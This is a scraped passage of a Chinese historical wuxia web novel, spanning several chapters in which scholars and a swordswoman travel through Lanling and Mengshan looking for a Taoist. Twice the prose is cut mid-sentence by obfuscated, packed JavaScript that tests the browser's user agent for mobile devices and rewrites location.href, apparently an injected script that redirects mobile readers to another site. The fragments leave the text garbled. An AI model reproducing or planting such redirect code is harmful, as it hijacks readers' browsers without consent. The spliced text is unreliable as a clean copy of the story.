眼前澡堂只有一间房大,腾腾雾气中挤着七八个一丝|不挂的陌生人。此时已过日中,头汤早已赶不上,池水洁净程度不言而喻。 浴池里有个小孩在水中吐泡泡,旁边坐着个挖鼻抠脚的老头,和一个仰面朝天不知死活的醉汉。浴池边上全是按摩揩背的宾客,角落里还有个满身肥膘的大汉,被松骨师傅按得吱哇乱叫。 放下门帘,仕渊心中打了退堂鼓,一转头,纯哥儿早已脱得精光。 他见二位公子依旧穿戴齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14798503|157046||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 整,道:“少爷怎地还不入浴?” 仕渊既不能当着一群人的面讲嫌弃之词,也不能交钱进了浴堂却什么都不做。无奈间,他望向君实求助。 怎料纯哥儿会错了意。 “少爷放心,我来掩护先生入浴!” 纯哥儿以迅雷不及掩耳之势夹起君实,几个箭步冲到了浴池旁,将他往水里一丢。 入水的一刹那,他解开君实的大氅撩到自己肩膀上,既没让人瞧见那锁链,也没让大氅沾到水,动作如行云流水,一气呵成。 末了,他将大氅挂好,自己也钻进了水里,还不忘回头冲仕渊邀功:“少爷!赶快下来吧!水温可舒服了!” 霎时间,仰躺着的醉汉醒了,吐泡泡的小孩浮出水面,连松骨的胖子都不叫了,所有人齐刷刷地望向门口的“少爷”。 就把纯哥儿留在这儿算了!仕渊心道,牵头驴来都比带这夯货强! 既来之则安之,左右不会越洗越脏。他战战兢兢地褪去衣衫,腰间裹了块澡巾,活像个未出阁的小娘子。待入了水,浑身舒坦起来,便也不再拘束。 长恭浴亭虽是市井民浴,但经营得还有几分讲究。浴堂与浴池用料皆是蒙山黑松,被暖雾蒸出了幽幽清香。热汤里泡着香药,不知是店家有意,还是那醉汉的酒撒了,汤中隐约泛着琥珀光的馥郁。 君实全身浸在水中,只露出个脑袋在外面。水气弥漫,完全看不出他身上有何异样。 “方才炒鸡店里那么呛,旁的什么也闻不到。况且风吹了一晚,我们身上哪有那么大异味?”君实低声道,“所以,究竟有什么话是不能让燕娘听到的?” “原来你都猜到了啊……”仕渊半躺在水中,泡得浑身骨头酥软,“能不露声色地将‘瘦金书’支开,又不用担心隔墙有耳,我能想到的地方,只有这里了。” “少爷就不怕那大姐跑了么?”纯哥儿道。 “她那轻功,要跑早跑了,谁拦得住?不过话说回来,我们与她素昧平生,她有心陪我们跑这一趟,应是另有目的。若是不图钱财,那便是……” 仕渊望向君实,眉毛上挑,一脸玩味,“她该不会是看上我了吧?她可里里外外把我家世背景探查了个遍!” “她要真对你知根知底,八成也没那个意思了。”君实讪笑道,“人家还真不是冲你来的,而是冲秦大人。但她借公务之便将秦大人带来北方,多半不是为儿女私情。” “那也未见得。你是没见昨日傍晚骆马湖畔的景象!”仕渊笑道,“秦大人居然把‘瘦金书’说哭了!那把剑她宝贝得可紧,睡觉都不放下,还梦魇了!” “这还看不出来?”纯哥儿一副通达人情的样子,“这是私奔的戏码啊!定是她自己也不确定秦大人会不会抛家弃业同她走,所以才借公务之便!一来可以生米煮成熟饭将他骗来北方,二来万一秦大人不愿意,至少还能继续回扬州做他的官,不耽误人家前程。此乃一石二鸟之计啊!” 仕渊一脸鄙夷地看着纯哥儿自圆其说,明知他一派胡言,却又挑不出什么毛病来,不禁佩服这夯货思路清奇。 他见君实眉头紧锁,不发一语,问道:“小神童,你有何见解?” “他人私事我无心揣测,我只关心这锁链。”君实思索道,“眼下尚有诸多更重要的事存疑,比如这锁链因何而造?金蟾子为何两次南下欲买这锁链?还有,林子规对金蟾子所知甚深,连他师从都了解得一清二楚,为何不在我们第一次拜访时就透露?携同秦大人北上并与我们同行,究竟是燕娘自己的意思还是林家班的意思?他们有何意图,又是敌是友?” 说话间,君实自水中坐起身,雾气中的凤眸充满了不安。 “也可能是我想多了,但自打从林家班出来后,就感觉在被人牵引着,同骷髅幻戏那傀儡一般,由不得自己。” 26.兰陵一曲琥珀光,暖雾沉浮浸香汤(下) 仕渊枕在浴池边,陷入了沉默。 这段日子以来,他表面看似风风火火,其实心中与君实有着一样的顾虑。 陆氏与林家班素无往来,陆仲玉在朝堂上从不拉帮结派,又不曾得罪过什么人,多半不会有人设连环计意图戕害家族。况且林子规虽有心机,但毕竟背后有个贾家,横竖不会做出什么伤天害理之事。 燕娘虽是江湖中人,却如谪仙一般,成日吸风饮露,不屑与旁人打交道。若真图钱财,何必绕开扬州陆氏来这颓唐地? “我们两个光杆书生,有什么可图?有没有一种可能,人家真是来帮忙的?人家没准真的暗慕秦大人,才提出要携他同行?” 仕渊小声道,“若是如此,我们这般猜忌,反教燕娘觉得我们不够道义,与我们生疏。所以无论如何,只要她还在身边,咱们且信她,谨言慎行便是。为避免夜长梦多,明日破晓我们就出发,踏破蒙山也要将那金蟾子揪出来!” 君实点了点头道:“嗯,可能确实是我多虑了,不过提防着点全无坏处,且静观其变吧。” 氤氲的暖雾蒸得人昏昏欲睡。仕渊闭上眼,仿佛听到了沂水河畔的苇草声,不禁想起月光下燕娘青涩的笑容。 “君实?”仕渊唤道,“你可知‘阿敏’和‘额涅’是何意思?” “没听说过。”君实正闭眼小憩,“何出此问?” “昨夜燕娘梦中呓语,反反复复总念这两个词。你博学,可知是哪里方言?”仕渊道。 君实思索片刻,摇了摇头:“据我所知,两浙、两淮、荆湖皆无这种说法,恐怕不是方言,而是番话。可惜我并非鸿胪,不知是何语,更不知是何意。” 出于习惯,但凡仕渊提出的问题,君实都格外认真。 他继续道:“燕娘长相不似南蛮或西域人。论年龄,多半不精通西夏语和契丹语,更遑论说梦话。她曾说自己师承全真教清净派,全真教兴起于终南山,兴盛于齐鲁,绝大多数信徒都在中都至汴梁一带。所以,她梦中呓语无外乎蒙语、女直语、甚至高丽语。具体哪种,与其问我,不如问问纯哥儿这个‘北方侉子’。” “这三种话其实我都没怎么听过……”纯哥儿挠头道,“不过讲那些弯弯绕绕的作甚?要我猜,大姐铁定是女直人!” 他猛地一拍池沿,一副要下注的样子,“我先前没留神,直到昨晚大姐往那木板上一躺——俺娘嘞,好漂亮的扁脑勺!定是睡书册长大的,比我这睡面袋的强多了!不是汉人的话,那就只能是女直人嘛!” 君实对此北方习俗闻所未闻。仕渊摸了摸自己浑圆的后脑,恍然大悟道:“原来如此,难怪她总是将发髻盘得又低又松,我当又是什么勾栏的新花样!先前我还奇怪,这路岐人见多识广,唱戏的也略有文采,但君实你记不记得,我们初见燕娘那日带她食车螯,她却连欧阳修都不知。现如今总算说得通了——因为她根本就不是汉人呐!” 纯哥儿一愣,茫然地望向君实:“欧阳修是谁?” “这人可有意思了。”君实微微一笑,并无微辞,“我们出去找个没人的角落,你帮我干干身子,我与你细细道来。” 纯哥儿跳出浴池,拿起大氅掩护君实出了澡堂。 仕渊无意听君实抖书袋,继续泡在热汤中。身子骨是舒适了,脑子却停不下来。 女直人? 即女真人。为避讳辽兴宗同成吉思汗,天下人改称“女真”为“女直”。 他外公一生致力于抗金,他自己虽从未与女直人打过交道,但自小的耳濡目染,足以使他心生忌惮。平日里大伙提到女直人,也总是绕不开国仇家恨。 话本传奇大多将他们塑造成豺狼虎豹,上一刻还所向披靡,下一刻便被英雄豪杰打得鸟兽散。长相要么凶神恶煞,要么獐头鼠目。 勾栏瓦肆他没少去,怎料如今碰上个货真价实的,还结伴成行了,而他这二十多天来竟毫无觉察。 燕娘也是氍毹上的人。只身一人在异国他乡,每每碰到这种戏码、听到充满敌视甚至歧视的恶言,不知会作何感想? 她为何离开家乡和族人?背后有什么故事,又为何去那林家班? “你究竟是谁……” 仕渊低声呢喃,深吸一口气沉入了水中。 恐怕“燕娘”也不是你真名吧。 此事绝不能让第四个人知晓。毕竟两军交兵之际,尚书之子与外族人在敌国游荡这事若捅出去,流放之事尚且不论,怕是秦桧和王氏的诨像旁还要多个他爹。 思至此处,他蓦地周身觳觫——不好,此事还有林子规知晓! 他猛然从水中坐起,但把柄已然落入他人之手,再怎么担忧也于事无补了。 此时换衣间传来一阵喧哗,其中夹杂着侍者的阿谀奉承。 门帘被掀开,进来了两个魁梧的汉子。 仕渊尚未看清来者何人,就见身边老头儿急急忙忙夹着小孩跑了,松骨的胖子一个鲤鱼打挺从榻上跃起,冲那二人点头哈腰后也告辞了。 浴室中陆陆续续又离开几人,连那半死不活的醉汉都不知何时消失了。仕渊不明就里,身子埋在水中谨慎地打量来者,青丝四散在水中。 这二人皮肤黝黑还泛着铜光,胸前纹有立于山巅的猛禽,虽不见行头,但明显是习武之人。 领头的三十郎当岁,人高腿长,虎背狼腰。长发棕黑蜷曲披于背后,肩膀垂着两根发辫,双耳钳有金环,面容英气中裹挟着肃杀气。 另一人略矮但壮硕如山,小眼睛肉鼻子一副凶相,胸前布满护心毛,唯独头顶泛油光。 那秃头见了仕渊似乎想要说些什么,却被领头的拦下。二人方一坐进浴池中,便叽里咕噜地大声聊了起来。 仕渊一句也没听懂,只隐约听见“兰陵王”三个字被重复,约莫是在谈论这“长恭浴亭”名字的来源。 领头人大马金刀地坐在水中,听得认真,眼神桀骜却疏离,末了还玩味地瞥了仕渊几眼,看得他心里发毛。 鉴于纯哥儿先前所说,他特地看了几眼那秃子的后脑——果然是个刀削斧劈的大扁头! 这二人讲得应是女直话!仕渊心道,正好趁此机会验证下燕娘梦中说得是哪种番话,反正肯定不会是什么骂人的词。 于是乎,他小声问道:“二位可知‘阿敏’、‘额涅’是何意思?” “嗯?” 那二位聊得正欢,根本没料到面前的白面小生会主动搭话,故而没有听清。 以为自己学得不像,仕渊又抬高声音重复了一遍:“阿敏!额涅!” 二人这回听到了,却怔在了那里。 他们面面相觑,一脸不可置信,叽里咕噜地互相问着什么,舌头一弹一弹地。 看来他们也不懂这几字是何意,这鸡同鸭讲的场面可太尴尬了! 仕渊礼貌地冲二人微笑,又行了个礼,出水的一刹那抄起澡巾冲进换衣间,飞快地穿好衣衫。 询问了侍者后,才在杂物间找到君实与纯哥儿。 “你怎么惊慌失措的啊?”君实与纯哥儿蹲在一个小炭盆旁,锁链下的里衣已干得七七八八。 “无甚,无甚!”仕渊干笑道,“我们走吧!纯哥儿,去取行囊。” 澡堂外,先前的几位宾客齐聚在廊庑下恭候,这阵仗将仕渊吓得不轻。 带小孩的老头将他拉到一边,小声问道:“听你们口音,是南人?里面那两位没有为难你吧?” “没有啊。”仕渊不知老头何出此言,“那两位是什么人啊?怎地他们一来你们都跑了?” “你没看到他们胸前纹着啥吗!”一旁的醉汉慑道,“那是海东青,他们是女直人!” “海东青?”君实不知方才浴堂内发生了何事,这个字眼略有耳闻,却未亲眼见过。 “还不是普通的女直人,是摩云崮的亡国鬼军!” 醉汉耸人听闻道,“他们被三峰山的冰雪掩埋,怨气丛生,化为鬼军为祸四方,连官府都拿他们无可奈何!” “确实有这么个传言,不过我年轻时可不是这么传的!你们怕是初来此地,不知情况。” 老头接过醉汉的话头解释道,“当年三峰山一战后,完颜旧部中有两个女直将士不愿相信大金命数已绝,带着部下逃窜到了这一带。他们在胸前刺上海东青,立誓要再夺天下,但终究不成气候,便占山为王,逐渐沦为匪盗。鲁西鲁南 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“好在这帮人多少收敛了些,只抢境外客商。但境外客商接连出事,我们本地的生意也不好做。就在几个月前,北方各地有百余名儒生联合上书,要求蒙廷再度剿匪。益都府达鲁花赤应承了下来,也征了民众的束薪钱,却迟迟没有动作!” “你看,这匪首不还美滋滋地下山吃酒洗澡呢嘛!”胖行商指着身后小声咒骂。 “但离奇的是,就在几个月前,那百来号联名上书的儒生陆陆续续被抓了,随后集体消失!” 醉汉神神叨叨地插言,“坊间传言他们被蒙人抓去战场当活靶子了,还有说他们被坑埋了当牧草肥料。可谁知半个月前,他们自己又回来了!” “确有其事,但还有十二名带头的儒生没回来!”老头接道,“我家对门就是回来的书生之一!大伙儿问他剩下十二个去了哪,他不知道。问去了何方怎么回来的,也一概不说!不仅他,与他一同回来的其余书生也不肯告知!” 仕渊哑然,没想到自己洗个澡而已,竟洗出这么多扑朔迷离的故事来。 此时纯哥儿取了行囊,左等右等不见人,便找了过来,叮嘱二人投宿需尽早。 老头见状,赶忙道:“我们就不多叨扰了,本来只是担心公子安危,谁知说着说着就打不住了!” “怎么会!”仕渊冲几个热心人行了礼,“我们初来乍到,还得多谢各位前辈提醒呢!” “总之多加小心,最好别在此地停留太久。切莫露财,离那塔思哈远一些,可别跟我当年那么傻!”胖行商关切道,“你们出远门怎么不带几个镖师?” “有的有的!”仕渊回道,“我们有一江湖高人随行。” “那小兄弟就多多保重了!” 众人嘱咐了几句后一一散去。 一入庭院,便见燕娘坐在紫藤架下一隅,似是等候已久。 她静静地看着一旁几个姑娘闲聊打趣,除了稍显孤单外,与她们并无二致,眉眼间亦是春光明媚。 见三人走近,她拿起身后藏着的释冰剑朝他们跑来,乖巧得像是被喊回家吃饭的小姑娘。 “你不会沐浴时还带着这剑吧?”仕渊打趣道。 “怎么?”燕娘不解地皱了皱眉,“不行?” “无妨。”仕渊咧嘴一笑,“江湖高人自是随心所欲,你怎么高兴怎么来!” 27.深林何处觅禅堂,蒙山四顾人微茫(上) 人有的时候就是怕什么来什么。 仕渊四人接连找了两家旅店,都被告知客满,还有两家干脆休业搬迁了。整个兰陵城只剩下最后一间客栈,怎料还没进门,就瞄见塔思哈同几个弟兄在里面饮酒作乐,吓得四人连推带搡地跑了。 辗转一晚,四人只得找了家简陋的脚店投宿。便宜倒是真的便宜,代价是与十来个人挤一个大通铺。这一晚上鼾声不断,磨牙打嗝说梦话的无奇不有,好在仕渊疲惫至极,方一躺下便不省人事。 但在这种地方,一夜好眠是有代价的。 “天杀的!我的钱呢?” 兰陵城饭口西北,一家赁驴店内传来一声惊呼,划破了清晨的寂静。 仕渊发现自己的荷包不翼而飞,浑身上下一个铜板也没有。 “到底有没有钱啊?没钱我把驴牵回去了啊!”驴倌不耐烦道。 仓促间,仕渊摸遍全身,没搜出一个值钱物件,好在君实送的护身金符还在,可他万万舍不得将此物赊出去。 “荷包会不会是落在脚店了?” 君实同样提心吊胆。他早在坤珑阁时便将自己大部分钱财寄回了镇江家中,剩下几个子儿全寄放在仕渊那里。 “不会啊,我临走前还查验了一番,没落下什么东西。”仕渊慌道,“我怕它丢,还特意在腰间系了个大死扣!” “少爷,系死扣也没用,贼人一把剪刀就带走了……”纯哥儿叹气道。 “光知道说风凉话,还不赶快回脚店找找看!” 仕渊心急如焚,那荷包里除了君实的寄存,还有临走前陆季堂给的银子,是他们四人此行北上的全部盘缠! 纯哥儿怕是身无分文惯了,并无多大反应,只“哦”了一声便向脚店方向走去。 “你给我等等!”仕渊赶忙唤住纯哥儿,“先看看你背上那竹篓里有什么。那些都是三叔准备的,盘缠肯定少不了!” 纯哥儿放下了身后的背篓,三人蹲在店门口好一通翻找:干粮、麻绳、火折子、金创药、时小五所赠金钩撬棍锤子豪华套装……总之这三尺高的背篓好似一个百宝箱,应有尽有,唯独没有几枚“孔方兄”。 “怎么才三吊钱?还有一吊是我昨天换剩下的!陆叔满这是让我去街边胸口碎大石吗!”仕渊瘫坐在地上,万念俱灰。 晨修完的燕娘前来会合,见三人坐在店外,如丧家之犬,问道:“你们这是作甚?驴呢?” “少爷昨夜荷包被偷了,眼下只剩三吊钱,连押金都不够……”纯哥儿答道。 “这点小事至于么。”帷帽下的燕娘浅笑一声,总觉得这情境似曾相识,“还有我在。” 君实见她开始解自己的荷包,推诿道:“一个月以前就劳烦姑娘破费请我们吃饭,这次无论如何都不能——” “都不能再让姑娘陪我们风餐露宿了!”仕渊赶忙捂住君实的嘴,抢道。 燕娘有意解囊相助,他仿佛抓住了根救命稻草:“那宝石匕首价值不菲,就当我贱卖给姑娘了!他日待我等平安回府,定加倍奉还!” “哼,陆大官人这是在强买强卖?” 燕娘嗤鼻,转身便走,纱幔甩了仕渊一脸。 纯哥儿一看势头不对,赶忙追了上去,可怜巴巴道:“大姐,你这是不要我们了吗?” “有车租何必骑驴子?有失身分!”燕娘停下脚步,剑柄指了指对面的店铺,“纯哥儿,你来赶车。我再买些茶水吃食路上用,还烦请君实公子作陪。” 说话间,她从纯哥儿的背篓里翻出双草鞋,扔到仕渊脚边,“至于那位如意算盘打得震天响的陆老板,我们届时在玉虚观恭候!” ------------------------------------- 女人心,海底针! 仕渊怎么也想不通自己到底为何得罪了燕娘,到最后他们在车内说说笑笑,自己倒成了赶车的,赶得还是头驴! 日头毒辣,这老驴抽一鞭子嚎一声,引得路人纷纷侧目。他干脆将燕娘的破帷帽戴在头上,纱幔遮面,也没什么丢人的! 过了北边的河,驴车驶入青山的环抱。一行人奔西而去进了平邑县地界,太阳快落山了也没看出来哪座山峰长得像王八,只得再度投宿。 如今身无分文,仕渊又是一夜好眠。次日一早经村民指点,四人直奔蒙山“龟蒙顶”方向而去,未至晌午就到了玉虚观。 正如纯哥儿先前所说,但凡跟泰山派沾亲带故的,就是有钱! 玉虚观横竖占地堪比行宫,三座大殿罗列正中,配殿、寮屋、云房更是数不过来,与扬州的蕃釐观相比,如云龙遇井蛙。 然而井蛙可以与人焚香品茗、谈笑风生,那云龙却是忙着行云施雨,看都懒得看人一眼。 四人满满诚意打听,却处处碰壁,一问就是“此处并无蟾螳宫”、“本观并无此人”。再多问两句,观中道人便开始打官腔:“方丈正闭关谢客”、“请承监院信帖”、“都管有事外出”。短短一个时辰,君实就理解了为何一提泰山派,纯哥儿就来气。 剑也解了,行囊也寄放了,四人只得找个阴凉的地方再做打算。 身后是一排房屋外加一个草庐,院门挂着个牌匾,上书“春晖堂”。闻着气味,应当是个药寮。 此时有两名洒扫道童走出门来,纯哥儿见状,立马操着乡音道:“小道友,过来拉拉卦,问恁点事儿!” 一高一矮两道童走上前来,毕恭毕敬地行了个礼。 “恁可知这蒙山有座‘蟾螳宫’?”纯哥儿问道。 道童相互对视一眼,怯生生地摇摇头。 纯哥儿又问:“那恁可听过‘金蟾子’这个名号?” 两道童依旧摇头,仕渊走上前去,笑吟吟道:“就是一个疯疯癫癫的老道士,爱说‘徒劳徒劳’,且身材矮胖,面生麻斑?” 高个的道童再度摇头,而那矮个儿的却突然两眼发亮,小心翼翼地试探道:“你们是谁?找他……是想作甚?” “小道长你放心,我们并无恶意。”君实声音如春风般和煦,“我是名儒生,草字君实,有事想求那位老道士帮忙。” “道长不敢当!”矮个子道童连连摆手,“我叫曾青,他是我师兄,丹朱。” “幸会,曾青小师傅!”仕渊嘴角噙着笑,“我是君实的师兄,草字仕渊。曾青小弟似乎是认得那道士?” 曾青含糊地点点头,紧接着又拨浪鼓似地摇起了头。 仕渊见状,凑到了曾青身边,猫着腰道:“不瞒你说,一个月前我与师弟玩闹,不小心将铁索捆在他身上打不开了。哎呀这磨人的鬼索怎么也解不开,我师弟连觉都睡不了,你看,他都虚成什么鬼样儿了?我们专程从扬州赶来,问了许多人、走了许多路,发现只有那道士知晓门路,或许能解开这链子。可那道士怎么找也找不到,如今只能仰仗小师傅帮帮我们了!” 说罢,他撩起君实大氅的一角,露出了里面的铁索。 曾青看起来只有十岁左右,定是从未见过这阵仗。他抬眼望了望丹朱,见其点头默许,才慢条斯理地讲了起来。 原来这春晖堂的掌事是个远近闻名的医士,而曾青自小患有哮症,父母花了大价钱送他来这药寮,一面治疗病症,一面拜师学医。 曾青刚来玉虚观时,就听说这春晖堂有一只成了精的硕鼠,专爱偷吃金石药材。 后来有一晚他哮症发作,去寻药时,发现个没见过的老道士。这老道士正在偷看药局掌事前一晚给曾青开的药方,一边看一边反复嘟囔着“徒劳,徒劳”。 玉虚观经常有外来的道士进修,所以曾青没当回事,便同他说了几句话。谁知第二日师兄清点药材时,发现少了些东西,四处一盘问,曾青才跟师父说了那老道的事。 但师父一口咬定那是“硕鼠”所为,丝毫不在意。 “在那之后我又在深夜见到那老道几回,无非就是拿点丹料药材、偷吃几口瓜果点心,顶多再顺几本典籍,过一段时间还会再还回来。只是……” 曾青说到一半神情稍显失落,他师兄丹朱接过了话头:“我也听师弟讲过此事,没想到正是施主所寻之人。只是那‘硕鼠’已经很久不光顾我们这药寮了。上一次来还是开春以前,只偷了几颗白菜,然后给曾青留了一张药方和一葫芦的丹药,之后再也没出现过。” 纯哥儿听了啧啧称奇,询问道:“那恁可知这‘硕鼠’白天都窝在哪里?” “这……我没有问过……”曾青摇摇头,“他连名号都不肯告诉我,即便问了也不会告诉我住在哪里。抱歉,你们大老远跑来,我却帮不到你们……” 纯哥 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曾青两眼泛光,却故作老成嘱咐道:“山势高峻,不宜攀登,但山南有沟壑溪流,白蔹丛生……哦就是野葡萄,这个季节开白花。沿此沟壑处上山易行且有人烟,望施主珍重!” “多谢丹朱曾青小道长!” 仕渊抱拳敬谢,一招手带着几人消失在了山门外。 “没成想那‘硕鼠’竟声名在外,连南人都慕名而来……” 丹朱感慨着,拿胳膊肘杵了杵小师弟曾青,“其实我也觉得‘硕鼠’很厉害。你的哮症连师父都束手无策,但他几副丹药下去却治了个七七八八!” 曾青望着山门的方向挠了挠小脑瓜,道:“我总觉得师父是认得他的。不然怎么睁一只眼闭一只眼,任由他偷硝石和硫磺?那些东西可不便宜……” ------------------------------------- 山林小道怕是不好走,四人在山脚村庄的赁驴店退了车后,沿着丹朱所言的溪流,向那“神龙聚会地”进发。 溪石路湿滑难行,君实行动不便,被四人强行架到了驴上。燕娘在前方开道探路,纯哥儿在后方挑着行囊,而仕渊一手牵着驴,一手抱着酒袋,闲庭信步间仿佛在游山玩水,好不自在。 这林中皆是参天巨树,枝繁叶茂,遮天蔽日,每走几步便昏暗一些。幸好燕娘有一身轻功,跃上枝头张望一番,才没叫一行人走冤枉路。 “莫听穿林打叶声,东西南北一身轻。竹杖芒鞋买不起马,谁怕?燕娘钱财我随便花!料峭春风吹酒醒,哎呦!” 仕渊腰间忽地吃痛,但听燕娘厉声道:“想得美!你若再胡诌,我便让你‘归去,也无风雨也无晴’!” “不错不错,终于有一首你会唱的了!”仕渊不怒反乐,“这林子太过幽静,咱们一起唱呗?” 燕娘懒得搭理,长袖一甩踏在了一旁笔直的树干上,如履平地般冲上树冠,消失在了层层枝叶中。 骑在驴上的君实睥睨着他,打趣道:“我看你是害怕了吧?” “怕什么?”仕渊嗤鼻,“怕这林子里冲出个拦路虎、俏狐狸、笨山贼?燕娘神功盖世,正好卖了那虎骨狐皮,再捉了那山贼领赏钱!” 自打他丢了荷包,满脑子都是生财之道。 “少爷,出门在外最忌说不吉利的话!”纯哥儿道,“即便真有拦路虎,也不会跑到这杳无人烟的地方啊。” 仕渊道:“寻常土匪雁过拔毛,若是遇上摩云崮那些山贼呢?他们可是三年不开张,开张吃三年啊!” “原来少爷也知道摩云崮?”纯哥儿一脸讶异,“唉,俺大沂州还真是好事不出门,坏事传千里。不过少爷大可放心,摩云崮在平邑县,隔着好几座山呐!何况他们只打劫客商,我们四人不过三吊钱加一头驴……” “我们找到金蟾子就直奔益都府,不要节外生枝。到时候看能否跟秦大人蹭个驿站住住,不行的话就借点钱住客栈!总之我再也不要啃干饼住脚店了!” 憧憬着益都府会师之日,仕渊胃袋又开始哭穷,“若真说怕,我倒是怕咱们今晚又要饿肚子露宿野外了。” 正巧燕娘探完路回来,听到了一阵熟悉的“咕噜噜”声,掩面笑道:“算我们走运,一炷香就能走出这片林子到北山。山脚处有炊烟,你今晚不用啃饼了。” 28.深林何处觅禅堂,蒙山四顾人微茫(下) 仕渊大喜,想着山珍和野味离自己只有一炷香之隔,当下牵起驴往前跑。 只可惜燕娘的“一炷香”与常人的“一炷香”不可同日而语。望山跑死马,更别提吱哇乱叫的老驴了,众人赶到山脚炊烟处已是黄昏之际。 那炊烟源自一个山坡上的小院。 小院背靠大山,被树林掩映,若不是正好赶上主人生火做饭,很难被发现。房子四周被木栅栏围着,屋檐下吊着一捆捆菜干、草药、腊肉,墙外立着一圈绷在木架上的兽皮。不出意外,应当是位猎户的住所。 四人尚未靠近,便听到一阵山呼海啸般的犬吠。自栅栏缝隙内伸出了一只塌耳龇牙的黑狗头,正瞪着为首的仕渊发狠,吓得他跌了个踉跄。那老黑驴也一惊,随即哀嚎起来。 “珍宝,过来!” 莺雀般灵动的声音自院内传出,那恶犬打了声鼻响,不情愿地将头抽了回去。 栅栏内,一少女自吊床上一骨碌翻下来,牵着那条名叫“珍宝”的恶犬,向几位“不速之客”走来。 少女年纪与纯哥儿相仿,长得可机灵得多。胸前垂着两条麻花辫,头巾上插着几朵野花,粗衣绑袖和旧皮靴倒为她的水灵平添了一分泼辣。 她黑润的眼珠快速打量了一番众人,见燕娘手握长剑,警惕道:“你们是谁?可是龙门中人?” 这姑娘甫一上来就问这个,怕是与龙门派有仇怨? 仕渊心中奇怪,嘴上还是从容地答道:“非也,我们只是结伴踏青的发小,顺道来这边探访一位故人,不巧迷路耽搁了。见天色已晚,四下又无旅店客栈,便打算借宿一晚,还望成全。姑娘若有不便,还烦请指点个可以夜宿的地方。” 见少女犹疑不定,他桃花眼一弯,又行了个礼道:“小可姓贾,贾仕渊,是名儒生。” 君实闻言,也跟着行了个礼:“不才贾君实,叨扰了。” 纯哥儿斜眼看了看二位,迫于压力,只得有样学样:“鄙人贾……贾李纯?” 这夯货!仕渊心道。 三人齐齐望向燕娘,暗自紧张她可别再来个什么“贾小燕”之类的了。 “我叫秦归雁,鸿雁的雁。”燕娘答得从善如流,“我们无门无派,来此寻一道人帮忙。姑娘莫担心,这剑只为防身,我们并非江湖中人。” 这是她一时间想出的搪塞之名?但她还特意强调了下是哪个字,分明是说给旁人听的。 莫非“秦归雁”才是她真名?倘若她真姓“秦”,难道并非女直人,而是秦大人的亲戚? 仕渊心中千头万绪,待回过神时,柴扉大开,燕娘已跟着那少女走出了几步远。 他赶忙将驴缰绳交给纯哥儿,追了上去。少女将恶犬栓好,歉然道:“不好意思,让珍宝惊着你们了。这山头没人光顾,野兽倒是不少,我可不能让你们在外面露宿!” 说话间,少女将众人带入泥瓦房。 “家里有点乱,莫嫌弃!”她娇憨一笑,露出两个小虎牙,“哦对,你们叫我阿朵便好!” 君实见她一个女孩子一人在山中住,不禁有些担忧:“阿朵,这山上就你一人住吗?” “怎么会?还有我爹爹!”阿朵将几人带到里屋炕上坐,又托来两个板凳,“爹爹下山买酒买粮去了,今晚回不来。不过幸好他不在,他一个人能占大半个炕,你们怕是要没地方睡了!” “我瞧这山上就你们一户?平日里会不会清闲无聊?”仕渊又问。 “清闲个姐流龟儿啊!”阿朵俏皮道,“恁是在城里住太久了吧!每天挑水砍柴不说,还得赶山。捕猎前要转山探洞做陷阱,剩下的就看运气了。捕到猎物还得剥皮、刮肉、泡药、制皮,好赶在入冬以前卖出去,剩下的肉得连夜腌制好挂起来,不然过冬就没得吃了! “平日里还须采采药材补贴家用——春夏采草实、秋冬挖根麻,总之一刻不得闲!小时候这北坡还有几个像我们这样的猎户,不过陆陆续续都搬走了,还不是怕苦嫌累?” 仕渊本是随口一问,但阿朵掏心掏肺地讲了许多,把他听得一愣一愣的。那颗向往山林野趣的心,本就在沂水露宿那夜裂了纹,眼下已是碎了一地渣滓。 “你们没想过要搬出去吗?”仕渊问道。 “我曾经也想啊,可是阿爹说我们没房没地,搬出去还不是得给人当长工?我家几代人都是靠打猎为生,一身的本领万万不能折在这一代。再说,现在世道乱,一会儿打仗一会儿又闹瘟疫,还是待在山上太平。只要天公不作怪,这山够吃几辈子了!不用为了争块地抢破头,税赋徭役也找不到这里来,还有城里吃不到的野菜和菌子。说到菌子——” 阿朵眉梢一挑,杏眼弯成了柳叶,“你们可有口福了!我今日刚采的松蛾子,一会儿给你们尝尝!” “蛾子?”君实小声诧道。 “哦,就是蘑菇,我们这儿管蘑菇叫‘蛾子’!” 话音刚落,阿朵怔了一下,火急火燎地往门外冲,“海了海了!锅里还炖着肉呢!” 仕渊摇头窃笑,心道肉糊了不打紧,只要那“松蛾子”还尚在,就不枉走这一遭。他对刚拴完驴回来的纯哥儿使了个眼色,让他去灶台帮帮人姑娘家。 三人小憩了一会,待天边还剩最后一丝余晖时,纯哥儿端着一个大盆走出厨棚,珍宝跟在他后面,阿朵跟在珍宝后面,手里拎着个茶壶。 “出来吃饭了,松蛾子炖山鸡哟——” 阿朵拖着清亮的尾音,黑咕隆咚的里屋立刻传来两声雄浑的“噢——”,随后一前一后蹦出来两个小郎君,如对山歌一般。 “家里没酒了,只有茶,二位公子将就将就吧!” 阿朵斟茶,仕渊小呷了一口,惊叹道:“好茶!这山里还有这等香茗甘霖?” “这是阿爹拿回来的,我也不知什么茶……有,有这么好喝?” 阿朵一脸狐疑,给自己也斟了一杯,咂摸两下,憨笑道:“其实我也喝不出好坏,都是树叶子味!忙前忙后的时候灌上几口,怪舒服的!” “不打紧,君实,你懂茶,来品品看!”仕渊拿起杯吹了吹,纯哥儿从褡裢中摸出一根苇管,伺候君实饮茶。 三人如今做这些事都已轻车熟路,习以为常,但这阵仗却吓坏了阿朵。 